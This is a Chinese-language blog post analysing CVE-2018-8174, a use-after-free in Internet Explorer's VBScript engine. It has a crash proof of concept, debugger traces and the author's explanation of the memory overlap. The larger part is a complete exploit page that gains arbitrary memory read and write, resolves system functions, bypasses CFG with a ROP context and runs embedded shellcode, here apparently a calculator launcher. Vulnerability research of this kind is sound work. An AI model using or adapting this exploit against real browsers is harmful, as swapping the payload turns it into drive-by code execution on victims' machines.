欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

IE VBScript 漏洞之CVE-2018-8174

IE VBScript 漏洞之CVE-2018-8174

之前在IE VBScript 漏洞之CVE-2014-6332中,总结学习了VBScript中的关键数据结构,故在这篇中不再总结。如果错误,请指正,谢谢。

漏洞分析

POC

启用页堆

gflags.exe /i iexplore.exe +hpa

<!doctype html>

<html lang="en">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<meta http-equiv="x-ua-compatible" content="IE=10">

<meta http-equiv="Expires" content="0">

<meta http-equiv="Pragma" content="no-cache">

<meta http-equiv="Cache-control" content="no-cache">

<meta http-equiv="Cache" content="no-cache">

<body>

<script language="vbscript">

Dim array()

Dim array2(1)

Class MyClass

    Private Sub Class_Terminate

           Set array2(0)=array(1)

           array(1)=1

    End Sub

End Class

Redim array(1)

Set array(1)=New MyClass

Erase array

array2(0)=0

</script>

</body>

</html>

捕获异常如下,我们可以看到eax引用的地址已经被释放了,也就是对应在poc中的Erase array,调用Erase触发了Class_Terminate函数,在Class_Terminate函数中,将array(1) 赋值给了array2,然后又平衡了其引用计数,使得array2成了指向MyClass的悬挂指针,访问array2造成了访问异常。

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=0c607fd0 ebx=0aa8af90 ecx=00000009 edx=00000002 esi=0aa8af90 edi=00000009

eip=75a24971 esp=08aadf7c ebp=08aadf84 iopl=0         nv up ei pl nz na po nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202

OLEAUT32!VariantClear+0xb3:

75a24971 8b08            mov     ecx,dword ptr [eax]  ds:002b:0c607fd0=????????

0:005> !heap -p -a eax

    address 0c607fd0 found in

    _DPH_HEAP_ROOT @ a31000

    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)

                                     a33618:          c607000             2000

    6d9c90b2 verifier!AVrfDebugPageHeapFree+0x000000c2

    77e70acc ntdll!RtlDebugFreeHeap+0x0000002f

    77e2a967 ntdll!RtlpFreeHeap+0x0000005d

    77dd32f2 ntdll!RtlFreeHeap+0x00000142

    772c98cd msvcrt!free+0x000000cd // eax所指向的内存已经被释放掉了

    6bc2406c vbscript!VBScriptClass::`vector deleting destructor'+0x00000019

    6bc2411a vbscript!VBScriptClass::Release+0x00000043

    75a24977 OLEAUT32!VariantClear+0x000000b9

    75a3e375 OLEAUT32!ReleaseResources+0x000000a3

    75a3e003 OLEAUT32!_SafeArrayDestroyData+0x00000048

    75a45d7d OLEAUT32!SafeArrayDestroyData+0x0000000f

    75a45d63 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039

    6bc6267f vbscript!VbsErase+0x00000057

    ······

调试

首先,我们将poc修改成如下。看一下正常的释放过程。

Dim array()

Dim array2(1)

Class MyClass

End Class

Redim array(1)

Set array(1)=New MyClass

IsEmpty(array)

Erase array

0:005> p

eax=0c3c4fd0 ebx=0c3c4fd0 ecx=69381748 edx=00000000 esi=76e813b0 edi=0c3c4fd4

eip=69391f08 esp=0894f524 ebp=0894f534 iopl=0         nv up ei pl nz na po nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202

vbscript!VBScriptClass::Release+0x15:

69391f08 ffd6            call    esi {kernel32!InterlockedDecrementStub (76e813b0)}

0:005> dd edi

0c3c4fd4  00000001 00000000 0c28df88 00000a08

0c3c4fe4  00000000 00000000 00000000 00000000

vbscript!VBScriptClass::Release+0x15:

69391f08 ffd6            call    esi {kernel32!InterlockedDecrementStub (76e813b0)} //引用计数减一

0:005> dps 0c3c4fd0

0c3c4fd0  69381748 vbscript!VBScriptClass::`vftable'

0c3c4fd4  00000000 //引用计数为0,VBScriptClass被释放

0c3c4fd8  00000000

0c3c4fdc  0c28df88

0c3c4fe0  00000a08

0c3c4fe4  00000000

0c3c4fe8  00000000

0c3c4fec  00000000

0c3c4ff0  00000000

0c3c4ff4  0c136fe4

我们来看看poc中MyClass在VbsScript中的释放过程。

0:005> g

vbscript!VbsIsEmpty:

68f9c206 8bff            mov     edi,edi

0:005> dd poi(esp+c)

0a100fa0  c0c0600c c0c0c0c0 0ce59f88 0c24cfe8

0a100fb0  0000400c 00000000 0ce59fb8 00000000

0a100fc0  0000400c 00000000 0ce59f7c 00000000

0a100fd0  c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0

0a100fe0  00000000 00000000 c0c0c0c0 c0c0c0c0

0a100ff0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0

0a101000  ???????? ???????? ???????? ????????

0a101010  ???????? ???????? ???????? ????????

0:005> dd poi(0ce59f88 )

0c24cfe8  08800001 00000010 00000000 0bc3afe0

0c24cff8  00000002 00000000 ???????? ????????

0c24d008  ???????? ???????? ???????? ????????

0c24d018  ???????? ???????? ???????? ????????

0c24d028  ???????? ???????? ???????? ????????

0c24d038  ???????? ???????? ???????? ????????

0c24d048  ???????? ???????? ???????? ????????

0c24d058  ???????? ???????? ???????? ????????

0:005> dt ole32!tagSAFEARRAY 0c24cfe8

   +0x000 cDims            : 1

   +0x002 fFeatures        : 0x880

   +0x004 cbElements       : 0x10

   +0x008 cLocks           : 0

   +0x00c pvData           : 0x0bc3afe0

   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND

0:005> dd 0x0bc3afe0

0bc3afe0  00000000 00000000 00000000 00000000

0bc3aff0  c0c00009 c0c0c0c0 0a108fd0 c0c0c0c0

0bc3b000  ???????? ???????? ???????? ????????

0bc3b010  ???????? ???????? ???????? ????????

0bc3b020  ???????? ???????? ???????? ????????

0bc3b030  ???????? ???????? ???????? ????????

0bc3b040  ???????? ???????? ???????? ????????

0bc3b050  ???????? ???????? ???????? ????????

0:005> dps 0a108fd0  l 10

0a108fd0  68f81748 vbscript!VBScriptClass::`vftable'

0a108fd4  00000001 //此时引用计数为1

0a108fd8  0a10cf78

0a108fdc  0ce4df88

0a108fe0  00000f90

0a108fe4  00000000

0a108fe8  00000000

0a108fec  0a110efc

0a108ff0  00000000

0a108ff4  0cd18fe4

0a108ff8  00000000

0a108ffc  00000000

//在Erase array 之后,我们看到array2(1)指向了已经被释放的内存。

0:005> g

vbscript!VbsIsEmpty:

68f9c206 8bff            mov     edi,edi

0:005> dd poi(esp+c)

0a100fa0  c0c0600c c0c0c0c0 0ce59fc4 0c248fe8

0a100fb0  0000400c 00000000 0ce59fb8 00000000

0a100fc0  0000400c 00000000 0ce59f7c 00000000

0a100fd0  c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0

0a100fe0  00000000 00000000 c0c0c0c0 c0c0c0c0

0a100ff0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0

0a101000  ???????? ???????? ???????? ????????

0a101010  ???????? ???????? ???????? ????????

0:005> dt ole32!tagSAFEARRAY poi(0ce59fc4)

   +0x000 cDims            : 1

   +0x002 fFeatures        : 0x892

   +0x004 cbElements       : 0x10

   +0x008 cLocks           : 0

   +0x00c pvData           : 0x0c24afe0

   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND

0:005> dd 0x0c24afe0

0c24afe0  c0c00009 c0c0c0c0 0a108fd0 c0c0c0c0

0c24aff0  00000000 00000000 00000000 00000000

0:005> dps 0a108fd0 //array2(1) 指向的内存已经被释放。

0a108fd0  ????????

0a108fd4  ????????

0a108fd8  ????????

0a108fdc  ????????

0a108fe0  ????????

0a108fe4  ????????

0a108fe8  ????????

漏洞利用

<!doctype html>

<html lang="en">

<head>

<meta http-equiv="x-ua-compatible" content="IE=10">

</head>

<body>

<script language="vbscript">

Dim gNumber

Dim arrayA(6),arrayB(6)

Dim index

Dim gArray(40)

Dim hexA, hexB

Dim address

Dim memClassA,memClassB

Dim swapA,swapB

Dim NtContinueAddr,VirtualProtectAddr

hexA = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")

hexB = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")

address = 0

index = 0

Function GetUint32(Addr)

   Dim value

   memClassA.mem(address + 8) = Addr + 4

   memClassA.mem(address) = 8                'type string

   value = memClassA.P0123456789

   memClassA.mem(address) = 2

   GetUint32 = value

End Function

Function readWord(addr)

   readWord = GetUint32(addr) And 65535

End Function

Function readByte(addr)

   readByte = GetUint32(addr) And (&hFF)

End Function

Function GetBaseByDOSmodeSearch(in_addr)

   Dim addr

   addr = in_addr And &hFFFF0000

   Do While GetUint32(addr+&h68)<>&h206E6920 Or GetUint32(addr+&h6C)<>&h20534F44

       addr = addr-&h10000

   Loop

   GetBaseByDOSmodeSearch = addr

End Function

Function StrCompWrapper(addr, szName)

   Dim str,i

   str = ""

   For i = 0 To Len(szName) - 1

       str = str & Chr(readByte(addr+i))

   Next

   StrCompWrapper = StrComp(UCase(str), UCase(szName))

End Function

Function GetBaseFromImport(base_address,name_input)

   Dim import_rva,nt_header,descriptor,import_dir

   Dim addr

   nt_header = GetUint32(base_address + (&h3c))

   import_rva = GetUint32(base_address + nt_header + &h80)

   import_dir = base_address + import_rva

   descriptor = 0

   Do While True

       Dim NameOffset

       NameOffset = GetUint32(import_dir + descriptor * (&h14)+&hC)

       If NameOffset = 0 Then

           GetBaseFromImport = &hBAAD0000

           Exit Function

       Else

           If StrCompWrapper(base_address + NameOffset, name_input) = 0 Then

               Exit Do

           End If

       End If

       descriptor = descriptor+1

   Loop

   addr = GetUint32(import_dir + descriptor * (&h14)+&h10)

   addr = GetUint32(base_address + addr)

   GetBaseFromImport = GetBaseByDOSmodeSearch(addr)

End Function

Function GetProcAddr(dll_base,name)

   Dim p, export_dir, index

   Dim function_rvas, function_names, function_ordin

   Dim Ordin

   p = GetUint32(dll_base + &h3c)

   p = GetUint32(dll_base + p + &h78)

   export_dir = dll_base + p

   function_rvas = dll_base + GetUint32(export_dir + &h1c)

   function_names = dll_base + GetUint32(export_dir + &h20)

   function_ordin = dll_base + GetUint32(export_dir + &h24)

   index = 0

   Do While True

       Dim offset

       offset = GetUint32(function_names + index * 4)

       If StrCompWrapper(dll_base + offset, name) = 0 Then

           Exit Do

       End If

       index = index+1

   Loop

   Ordin = readWord(function_ordin + index * 2)

   p = GetUint32(function_rvas + Ordin * 4)

   GetProcAddr = dll_base + p

End Function

Function GetShellcode()

   hexCode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc")

   GetShellcode = hexCode

End Function

Function BuildVirtualTable

   Dim i,szNtContinueAddr,str,szAddr0,szAddr8,szAddr16,szAddr24

   szNtContinueAddr = NumberToString(NtContinueAddr, 8)

   szAddr0 = Mid(szNtContinueAddr,1,2)

   szAddr8 = Mid(szNtContinueAddr,3,2)

   szAddr16 = Mid(szNtContinueAddr,5,2)

   szAddr24 = Mid(szNtContinueAddr,7,2)

   str = ""

   str = str & "%u0000%u" &szAddr24 &"00"

   For i = 1 To 3

       str = str & "%u" &szAddr8 &szAddr16

       str = str & "%u" &szAddr24 &szAddr0

   Next

   str = str & "%u" & szAddr8 & szAddr16

   str = str & "%u00" & szAddr0

   BuildVirtualTable = Unescape(str)

End Function

Function NumberToString(ByVal Number, ByVal Length)

   hNumber = Hex(Number)

   If Len(hNumber) < Length Then

       hNumber = String(Length - Len(hNumber), "0") & hNumber    'pad allign with zeros

   Else

       hNumber = Right(hNumber, Length)

   End If

   NumberToString = hNumber

End Function

Function EscapeAddress(ByVal value)

   Dim High,Low

   High = NumberToString((value And &hFFFF0000) / &h10000, 4)

   Low = NumberToString(value And &hFFFF, 4)

   EscapeAddress = Unescape("%u"&Low&"%u"&High)

End Function

Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg

   Dim ropChain

   'pad1 0 - 10FDC

   ropChain = String(34798, Unescape("%u4141"))

   'rop chain

   ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)

   ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)

   ropChain = ropChain & EscapeAddress(&h3000)

   ropChain = ropChain & EscapeAddress(&h40)

   ropChain = ropChain & EscapeAddress(ShellcodeAddrParam-8)

   ropChain = ropChain & String(6, Unescape("%u4242"))

   ropChain = ropChain & BuildVirtualTable()

   'pad2

   ropChain = ropChain & String((&h80000 - LenB(ropChain)) / 2, Unescape("%u4141"))

   WrapShellcodeWithNtContinueContext = ropChain

End Function

Function ExpandWithVirtualProtect(ropAddr)

   Dim szContext

   Dim Addr

   '0 - 10FDC

   Addr = ropAddr + &h23

   szContext = ""

   szContext = szContext & EscapeAddress(Addr)

   szContext = szContext & String((&hb8 - LenB(szContext)) / 2, Unescape("%4141"))

   szContext = szContext & EscapeAddress(VirtualProtectAddr)

   szContext = szContext & EscapeAddress(&h1b)

   szContext = szContext & EscapeAddress(0)

   szContext = szContext & EscapeAddress(ropAddr)

   szContext = szContext & EscapeAddress(&h23)

   szContext = szContext & String((&400-LenB(szContext))/2,Unescape("%u4343"))

   ExpandWithVirtualProtect = szContext

End Function

Sub ExecuteShellcode

   memClassA.mem(address) = &h4d

       Msgbox "ExecuteShellcode"

   memClassA.mem(address + 8) = 0

End Sub

Class claA

Private Sub Class_Terminate()

   Set arrayA(index) = gNumber(1)

   index = index + 1

   gNumber(1) = 1

End Sub

End Class

Class claB

Private Sub Class_Terminate()

   Set arrayB(index)=gNumber(1)

   index=index+1

   gNumber(1)=1

End Sub

End Class

Class testClass

End Class

Class memClass

Dim mem

Function P

End Function

Function SetProp(Value)

    mem = Value

    SetProp = 0

End Function

End Class

Class readMemClass

Dim mem

Function P0123456789

   P0123456789 = LenB(mem(address+8))

End Function

Function SPP

End Function

End Class

Class swapObjectA

    Public Default Property Get P

        Dim object

        P = 174088534690791e-324

        For i = 0 To 6

            arrayA(i) = 0

        Next

        Set object = New readMemClass

        object.mem = hexA

        For i = 0 To 6

            Set arrayA(i) = object

        Next

    End Property

End Class

Class swapObjectB

    Public Default Property Get P

        Dim object

        P=636598737289582e-328

        For i = 0 To 6

            arrayB(i) = 0

        Next

        Set object = New readMemClass

        object.mem = hexB

        For i = 0 To 6

            Set arrayB(i) = object

        Next

    End Property

End Class

Set swapA = New swapObjectA

Set swapB = New swapObjectB

Sub UAF

    For i = 0 To &h11

        Set gArray(i) = New testClass

    Next

    For i = &h14 To &h26

        Set gArray(i) = New memClass

    Next

    index = 0

    For i = 0 To 6

        ReDim gNumber(1)

        Set gNumber(1) = New claA

        Erase gNumber

    Next

    Set memClassA = New memClass //申请memClass进行占位

    arrayB(0) = 0

    index = 0

    For i = 0 To 6

        ReDim gNumber(1)

        Set gNumber(1) = New claB

        Erase gNumber

    Next

    Set memClassB = New memClass ////申请memClass进行占位

End Sub

Sub InitObjects

    memClassA.SetProp(swapA)

    memClassB.SetProp(swapB)

    address = memClassB.mem

End Sub

Sub testSub

End Sub

Function GetMemValue

   memClassA.mem(address) = 3

   GetMemValue = memClassA.mem(address + 8)

End Function

Sub SetMemValue(ByRef in_Ref)

   memClassA.mem(address + 8) = in_Ref

End Sub

Function LeakVBAddr

   On Error Resume Next

   Dim pCScriptEntryPointObject

   pCScriptEntryPointObject = testSub

   pCScriptEntryPointObject = null

   SetMemValue pCScriptEntryPointObject

   LeakVBAddr = GetMemValue()

End Function

Sub StartExploit

   UAF

   InitObjects

   pCScriptEntryPointObject = LeakVBAddr()

   pVTable = GetUint32(pCScriptEntryPointObject)

   vbs_base = GetBaseByDOSmodeSearch(pVTable)

   msv_base = GetBaseFromImport(vbs_base, "msvcrt.dll")

   krb_base = GetBaseFromImport(msv_base, "kernelbase.dll")

   ntd_base = GetBaseFromImport(msv_base, "ntdll.dll")

   VirtualProtectAddr = GetProcAddr(krb_base, "VirtualProtect")

   NtContinueAddr = GetProcAddr(ntd_base, "NtContinue")

   SetMemValue GetShellcode()

   ShellcodeAddr = GetMemValue() + 8

   '同样的方法获得shellcode地址

   SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)

   ropAddr = GetMemValue() + 69596

   'ExpandWithVirtualProtect 构建CONTEXT

   SetMemValue ExpandWithVirtualProtect(ropAddr)

   GetMemValue()

   ExecuteShellcode

End Sub

StartExploit

</script>

</body>

</html>

构造数组

在Exploit中,当执行完UAF函数,使用memclass函数对释放的内存进行站位。

0:005> dt ole32!tagSAFEARRAY poi(poi(esp+c)+c)

   +0x000 cDims            : 1

   +0x002 fFeatures        : 0x892

   +0x004 cbElements       : 0x10

   +0x008 cLocks           : 0

   +0x00c pvData           : 0x0051e630

   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND

0:005> dd 0x0051e630

0051e630  00000009 00000000 02aa0858 00000000

0051e640  6bcb0009 02aa085c 02aa0858 6bcb4211

0051e650  6bcb0009 02aa085c 02aa0858 6bcb4211

0051e660  6bcb0009 02aa085c 02aa0858 6bcb4211

0051e670  6bcb0009 02aa085c 02aa0858 6bcb4211

0051e680  6bcb0009 02aa085c 02aa0858 6bcb4211

0051e690  6bcb0009 02aa085c 02aa0858 6bcb4211

0051e6a0  3192fbe7 88000000 00000000 00000000

下面我们来看下InitObjects函数的功能,SetProp函数触发 SetProp的Public Default Property Get P函数执行,在此函数中,将memClass再次释放,并再次使用readMemClass进行站位,并将hexA赋值给readMemClass的成员变量mem,将并将返回的P = 174088534690791e-324(00000005 02aa01dc 00000000 0000200c)复制给memClass的成员变量mem。因为
readMemClass和memClass的mem变量地址相差0xc,因此出现了内存重叠。对memClass的成员变量mem赋值造成了readMemClass.mem 的类型变为了一个大小为0x7FFFFFFF每个元素占1Byte的variant,最终实现任意地址读写。

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功